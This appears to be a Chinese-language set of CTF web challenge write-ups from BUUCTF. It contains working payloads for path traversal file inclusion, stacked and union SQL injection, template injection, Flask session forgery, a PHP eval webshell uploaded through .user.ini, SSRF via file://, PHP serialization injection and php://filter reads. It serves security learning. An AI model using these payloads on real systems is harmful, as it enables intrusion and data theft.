0x01 WarmUp
進來就是一個大大的滑稽,F12拿到源碼鏈接source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
白名單中只有兩個頁面:source.php和hint.php,看hint.php
function checkFile():
- 變量未聲明、非字符串:return false
- $page未在白名單中:return false
- 以’?'爲分割符取出前面字符後得到$_page
- $_page未在白名單中:return false
- url解碼後,重複以上3、4步操作
最後如果request得到的file值非空、是字符串且通過了checkFile,則包含file
因爲服務器會自動url解碼一次,這裏用二次編碼
payload:source.php?file=hint.php%253f../../../../../../../ffffllllaaaagggg
參考鏈接:https://www.jianshu.com/p/0d75017c154f(CVE-2018-12613)
0x02 隨便注
測試過程
輸入1’報錯,1’ #正常
1’ order by 2# | 1’ order by 3# |
---|---|
正常 | error 1054 : Unknown column ‘3’ in ‘order clause’ |
得出有兩個字段,再聯合查詢一下,發現過濾了部分sql關鍵字
堆疊注入
1';show tables;# //發現表1919810931114514和words
1'; show columns from `1919810931114514`;# //發現表1919810931114514中有flag列
先將select * from `1919810931114514`
進行十六進制編碼一下,得到如下值
0x73656c656374202a2066726f6d20603139313938313039333131313435313460
再通過預處理語句,最終構造的payload如下,得到flag
payload:1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
騷操作
這個必須要記一下,確實是太騷了
- 將words更名爲words1
- 將1919810931114514更名爲words
- 將1919810931114514表中flag字段改爲id
- 1’ or 1=1#直接查出flag
payload:1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not null;show columns from words;#
0x03 easy_tornado
-
/welcome.txt:render
簡單的百度了一下,這是render+tornado的python模板
-
/hints.txt: md5(cookie_secret+md5(filename))
哈希計算規則
-
/flag.txt:flag in /fllllllllllllag
此時的url爲/file?filename=/flag.txt&filehash=c9f7065977d26874f6d8e0f782aa1e21
也就是文件名+文件哈希值訪問
模板注入
-
將文件名改爲/fllllllllllllag
返回一個Error頁面,且參數msg=Error
-
tornado模板快速訪問
<title> {{ escape(handler.settings["cookie"]) }} </title>
handler指向RequestHandler
RequestHandler.settings指向self.application.settings
所以handler.settings指向RequestHandler.application.settings
-
輸入msg={{handler.settings}}
得到cookie_secret: 7dd9f819-0bd5-4a55-85a7-2b2b3156f0e7
-
抄個腳本計算一下哈希值
import hashlib def md5value(s): md5 = hashlib.md5() md5.update(s.encode()) return md5.hexdigest() def mdfive2(): filename = '/fllllllllllllag' cookie = r"7dd9f819-0bd5-4a55-85a7-2b2b3156f0e7" print(md5value(cookie + md5value(filename))) mdfive2()
得到哈希值爲:8a12c7de285700b57d8aa3222d4c1790
-
最終的url
http://7bdadb48-8aab-4cee-b71f-1810a54d1e97.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=8a12c7de285700b57d8aa3222d4c1790
- 參考鏈接:https://www.jianshu.com/p/55c75e0f7928
0x04 高明的黑客
- 下載www.tar.gz,裏面是網站的源碼,而且php文件中都包含一些亂七八糟的shell
-
在本地搭一下環境,然後寫個腳本測試一下文件裏的shell
python腳本如下:
import os
import requests
import re
import sys
for i in os.listdir("E:\911208\phpstudy\PHPTutorial\WWW\src")[::-1]:
with open ("E:\911208\phpstudy\PHPTutorial\WWW\src\{}".format(i)) as f:
content=f.read()
url="http://127.0.0.1/src/{}".format(i)
rc = re.compile(r'(\$_GET\[\')(.*)(\'\])')
result=rc.findall(content)
for r in result:
a=r[1]
url1=url+"?"+a+"=echo 'hackedha';"
print(url1)
sys.stdout.flush()
r=requests.get(url=url1)
r=r.content.decode('utf-8')
if 'hacked' in r:
print('yes')
print(url)
exit()
- 找到xk0SzyKwfzw.php文件下的Efa5BVG參數可以利用
- payload:http://710e3dd0-506e-4936-bfd5-e6904802adb2.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
0x05 admin
- 登陸頁面的hint
- change頁面下get到一個hint
-
ok,下載下來發現是靶場源碼,用的是flask框架
-
flask框架的session機制
學習鏈接:https://www.anquanke.com/post/id/163975
flask中session儲存在客戶端cookie中,且flask沒有加密操作,其cookie全部內容都可以被讀取。
抓取session
- 直接抓包就可以得到自己賬號的session
-
config.py
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
-
index.html
{% if current_user.is_authenticated and session['name'] == 'admin' %} <h1 class="nav">hctf{xxxxxxxxx}</h1>
session僞造
腳本如下:
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
session解密得到的結果爲:
{'_fresh': True, '_id': b'50b3c6db23d13770917e4cb8c61cdf67dde86cff5e2e47f6be2daa872de7fdd150373ce7263caf379095ea77543d926414333a9cbb5fbd8c80f60df20bb4981e', 'csrf_token': b'47af145519e08dd39d3e2b4b8d3d5e5f604cd8ea', 'image': b'jPsF', 'name': '0xdawn', 'user_id': '10'}
將name中的值修改爲admin後再加密,得到的session如下:
.eJxFkEGLwjAQhf_KMmcPNdWL4EWiwYVJaWksk4uorTZp40JV2kb875t1Yfc0zDz43nvzhP25q241LO7do5rA3pSweMLHERYg85VBhkyL7YgsHdCfYuTNIJmKiG1n5Gkgljlpy0YLNZNOOm13LToVSUaMnBq12NQJP4WpYu2yBnPVB44npmK0gcA2LuzzwJ3qYh1Lr6LgNQ9ahHnq0cs6KaQhu3Pk0uB56bWlXgsaUXwayZsZFmoJrwmcbt15f_9qqut_BV7W2q4jmashKVSfiBDBtw0yNZLNTCJSr_mulQUx5JnVvG4pXb5xxh0u1R_p0K58dvlVrgdX_ZxKZ64wgcet6t5_g2kEr29DqW27.Xd9y8Q.BKLvXPsrixjIr4i0d8Fhkvaq03g
再將自己的session值替換爲僞造的值,即可完成admin登錄
0x06 CheckIn
源碼如下
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);//得到文件後綴名
/*過濾掉各種php類型、.htacess、‘/i’不區分大小寫*/
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
/*過濾掉了文件中的<?,一句話跟圖片馬基本掛了*/
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
/*MIME驗證,需要修改Content-Type的值*/
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
- 獲得文件後綴名,過濾各種php類型、.htacess、且不區分大小寫
- 過濾文件中的’<?’
- MIME類型驗證
New point:.user.ini
自 PHP 5.3.0 起,PHP 支持基於每個目錄的 .htaccess 風格的 INI 文件。此類文件僅被 CGI/FastCGI SAPI 處理。此功能使得 PECL 的 htscanner 擴展作廢。如果使用 Apache,則用 .htaccess 文件有同樣效果。
-
.user.ini利用條件
服務器腳本語言爲php
服務器使用CGI/FastCGI模式
上傳目錄下有可執行的php文件
-
auto_prepend_fiile、auto_append_file
該配置項會讓php文件在執行前先包含一個指定的文件
Bypass
-
上傳一個.user.ini文件,內容如下
GIF89a auto_prepend_file=1.jpg
-
上傳1.jpg
GIF89a <script language='php'>@eval($_POST['0xdawn']);</script>
-
菜刀連上,找到flag
0x07 Easy Calc
源碼在http://node3.buuoj.cn:27584/calc.php下
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
php字符串解析繞過
php需要將所有參數轉換爲有效的變量名,在解析查詢字符串時
- 刪除初始空格
- 將某些字符轉換爲下劃線
測試結果如下:
calc.php?num=phpinfo() | Forbidden |
---|---|
calc.php?%20num=phpinfo() | 回顯 |
查看禁用的函數:
scandir()函數
scandir() 函數返回指定目錄中的文件和目錄的數組。
語法:scandir(directory,sorting_order,context);
directory | 必須,規定要掃描的目錄 |
---|---|
sorting_order | 可選,規定排列順序。默認是 0,表示按字母升序排列。 |
context | 可選,規定目錄句柄的環境。 |
-
掃描根目錄下所有文件:scandir(/)
-
char(47)代替 / 繞過黑名單
-
payload:calc.php?%20num=var_dump(scandir(chr(47)))
file_get_contents()函數
file_get_contents() 函數是用於將文件的內容讀入到一個字符串中的首選方法。
語法:file_get_contents(path,include_path,context,start,max_length)
path | 必需。規定要讀取的文件。 |
---|---|
include_path | 可選。如果也想在 include_path 中搜尋文件的話,可以將該參數設爲 “1”。 |
context | 可選。規定文件句柄的環境。 |
start | 可選。規定在文件中開始讀取的位置。該參數是 PHP 5.1 新加的。 |
max_length | 可選。規定讀取的字節數。該參數是 PHP 5.1 新加的。 |
GetFlag:calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
HTTP走私攻擊
參考鏈接:https://paper.seebug.org/1048/
經測試CL-CL方式可用,請求如下:
0x08 SSRF Me
源碼地址
https://github.com/CTFTraining/delta_2019_web_ssrfme
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
字符串拼接
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
-
假設secert_key爲xxx,訪問/geneSign?param=flag.txt,返回的md5爲md5(‘xxx’ + ‘flag.txt’ + ‘scan’)
-
構造訪問/geneSign?param=flag.txtread,得到的md5爲md5(‘xxx’ + ‘flag.txtread’ + ‘scan’ ),即爲目標sign
- 訪問/De1ta?param=flag.txt,構造Cookie:action=readscan;sign=6bf0e8c1e474589c49fd211c9f3ba760
local_file
-
文件包含得到sign
http://5cb1ec0e-c4a0-4c5f-b967-87d59660cabf.node3.buuoj.cn/geneSign?param=local_file:///app/flag.txtread
- 構造cookie得到flag
哈希拓展攻擊
參考鏈接:https://xz.aliyun.com/t/5927
0x09 FakeBook
源碼泄露:/user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
注入測試
-
order by得到長度爲4
-
報數據庫名
- 報表名
- 報列名
- 報字段值
SSRF
-
curl_exec()使用不當造成SSRF(服務器端請求僞造)
-
報錯信息可知網站絕對路徑(/var/www/html/)和數據庫裏的數據都是反序列存儲
-
通過file協議讀文件
-
payload:
view.php?no=-1++union++select++1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
-
base64解碼得到flag
<?php $flag = "flag{20b9f00e-27ad-42df-b157-f9a1953ca674}"; exit(0);
0x0A piapiapia
源碼泄露:www.zip
-
flag在config.php中
<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; ?>
-
update.php中POST提交的參數及正則
$profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error');
-
profile.php中存在文件讀取
$profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));
當$profile[‘photo’]爲config.php時即可讀取到flag,而且這裏還有個反序列化操作
-
class.php中的參數過濾
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
其中需要注意的是where被替換成hacker是,長度加1
序列化profile
update.php中POST提交完後對$profile進行序列化操作
<?php
$profile = array();
$profile['phone'] = '18581582507';
$profile['email'] = '[email protected]';
$profile['nickname'] = '0xdawn';
$profile['photo'] = 'config.php';
$a = serialize($profile);
echo $a;
?>
結果爲:a:4:{s:5:"phone";s:11:"18581582507";s:5:"email";s:17:"[email protected]";s:8:"nickname";s:6:"0xdawn";s:5:"photo";s:10:"config.php";}
反序列化
在nikename後加上";}s:5:“photo”;s:10:“config.php”;} 一共是34個字符,利用正則表達式替換34個where爲hacker,即可把這34個字符擠到photo中
-
用數組繞過nickname的正則過濾
-
將nickname修改爲以下值
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
- 進入profile查看圖片信息
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2E1NWE1ZjczLTM5M2ItNGQyOS1hNDBkLWQ0MWFhMDA3MGQyYn0nOwo/Pgo=
-
base64解碼得到flag
<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = 'qwertyuiop'; $config['database'] = 'challenges'; $flag = 'flag{a55a5f73-393b-4d29-a40d-d41aa0070d2b}'; ?>
極客大挑戰系列
0x01 Havefun
-
F12得到源碼如下
$cat=$_GET['cat']; echo $cat; if($cat=='dog') { echo 'Syc{cat_cat_cat_cat}'; }
-
payload:http://9b94f9bf-5000-46eb-9bff-181b6330400e.node3.buuoj.cn/?cat=dog
0x02 Knife
- 直接菜刀連上,flag在根目錄下
0x03 Secret File
- F12一下找到一個路徑
- 訪問這個頁面後有一個secret鏈接
-
點一下後直接跳轉了
-
抓包得到secr3t.php這個頁面,代碼如下
<html> <title>secret</title> <meta charset="UTF-8"> <?php highlight_file(__FILE__); error_reporting(0); $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag放在了flag.php裏 ?> </html>
-
考點是php僞協議讀取文件
payload:http://b8fc1459-1aac-406c-8ef2-af149e5b70ed.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
-
base64解碼後得到flag
0x04 EasySQL
直接萬能密碼注入得到flag
0x05 LoveSQL
沒有任何過濾,一步步聯合查詢就行了
數據庫名:username=admin&password=admin'union select
1,2,group_concat(schema_name) from information_schema.schemata#
表名:username=admin&password=admin'union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=database()#
列名:username=admin&password=admin'union select 1,2,group_concat(column_name) from
information_schema.columns where table_schema=database() and
table_name='l0ve1ysq1'#
字段值:username=admin&password=admin'union select
1,2,group_concat(password) from l0ve1ysq1#
0x06 BabySQL
過濾了一些關鍵字,需要雙寫繞過
數據庫名:username=admin&password=admin'uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata--+
表名:username=admin&password=admin'uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema%3Ddatabase()--+
列名:username=admin&password=admin'uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'--+
字段值:username=admin&password=admin'uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql--+